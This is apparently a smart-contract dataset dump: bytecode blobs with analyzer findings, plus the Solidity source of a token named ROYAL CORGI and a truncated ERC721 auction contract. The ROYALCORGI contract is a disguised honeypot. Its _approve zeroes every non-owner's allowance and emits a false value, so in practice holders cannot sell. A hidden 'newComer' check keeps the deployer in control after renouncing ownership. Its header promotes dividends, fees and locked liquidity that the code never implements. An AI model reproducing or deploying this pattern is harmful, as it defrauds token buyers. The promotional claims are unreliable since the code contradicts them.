001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6037543414613aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015613b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b613b6c6157da565b6000602a6000601454815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600a600081548092919060010191905055506040518060600160405280600115158152602001600a5481526020016000815250915081602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602a6000600a54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6037549081150290604051600060405180830381858888f1935050505090508015613e06576001602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613d975760016014600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600942604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600942604051808381526020018281526020019250505060405180910390a2505050565b60176020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613f62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6034543414613fd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614092576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61409a6157da565b600060246000601154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760008154809291906001019190505550604051806060016040528060011515815260200160075481526020016000815250915081602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360246000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6034549081150290604051600060405180830381858888f1935050505090508015614334576001602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106142c55760016011600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600642604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600642604051808381526020018281526020019250505060405180910390a2505050565b60035481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614458576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561451b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6031543414614592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561464b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6146536157da565b6000601e6000600e54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600460008154809291906001019190505550604051806060016040528060011515815260200160045481526020016000815250915081601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601e6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6031549081150290604051600060405180830381858888f19350505050905080156148ed576001601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061487e576001600e600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600342604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600342604051808381526020018281526020019250505060405180910390a2505050565b60045481565b60226020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614ab0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615614b73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6038543414614bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b614cab6157da565b6000602c6000601554815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b600081548092919060010191905055506040518060600160405280600115158152602001600b5481526020016000815250915081602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602c6000600b54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6038549081150290604051600060405180830381858888f1935050505090508015614f45576001602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410614ed65760016015600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600a42604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600a42604051808381526020018281526020019250505060405180910390a2505050565b60075481565b602b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166150a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615615163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60335434146151da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015615293576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61529b6157da565b600060226000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360226000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015615535576001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106154c65760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060186000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090506000809050600485111561562e576016549050615645565b602d60008681526020019081526020016000205490505b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505091508115615763573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360648510801561574257506001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410155b15615759576157546001860184615597565b615762565b61576161577a565b5b5b81615773576157728584615597565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6157bd613151565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fea26469706673582212204679eecbd12992c585d7fab394325310015e73e87bdd1302333c21ace41f053264736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,757 |
0xb17b67658a001da9e72c4b0531376f330b2b6ab0
|
/*
👑 🐶 $ROYALC will be the 5th project using ETH dividend redistribution powered by FTP (Fair Token Project)!
✅ FAIR LAUNCH MONITORED BY FAIR TOKEN PROJECT (FTP)
✅ NO PRESALE
✅ 100% OF THE SUPPLY ALLOCATED TO LIQUIDITY
✅ ANTI BOT/SNIPE PROTECTION BY FTP
👑 TOKENOMICS 👑
- ERC20 token 🐶🐶
- Launch on Uniswap 🦄🦄
- Total supply: 1'000'000'000'000'000 🪙🪙
- Liquidity will be locked on Unicrypt for 1 year 🔐🔐
- 15% Transaction fee 👇
- 8% ETH DIVIDENDS TO HOLDERS 🤑🤑🤑
- 5% TO PROJECT DEVELOPMENT 🌕🌕🌕
- 2% TO CHARITY WALLET 👑👑👑
🔗 LINKS:
💻 Website: https://royalcorgi.net/
📜 Whitepaper: https://royalcorgi.net/ROYALC_QueenPaper95.0.pdf
🐦 Twitter: https://twitter.com/ROYALCORGI95
📨 Telegram: https://t.me/royalc95
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ROYALCORGI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**12 * 10**18;
string private _name = 'ROYAL CORGI';
string private _symbol = 'ROYALC 👑🐶';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122078a01aa3310ddb43b806303e543a16e49cbfa0a8d9483486e64a12de7ad4a4a264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,758 |
0x607e87cdc8bf7707c95c2de208256e350a7d3239
|
pragma solidity ^0.4.21;
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
// The owner has a method to withdraw balance from multiple contracts together,
// use send here to make sure even if one withdrawBalance fails the others will still work
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ClockAuctionStorage is StorageBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
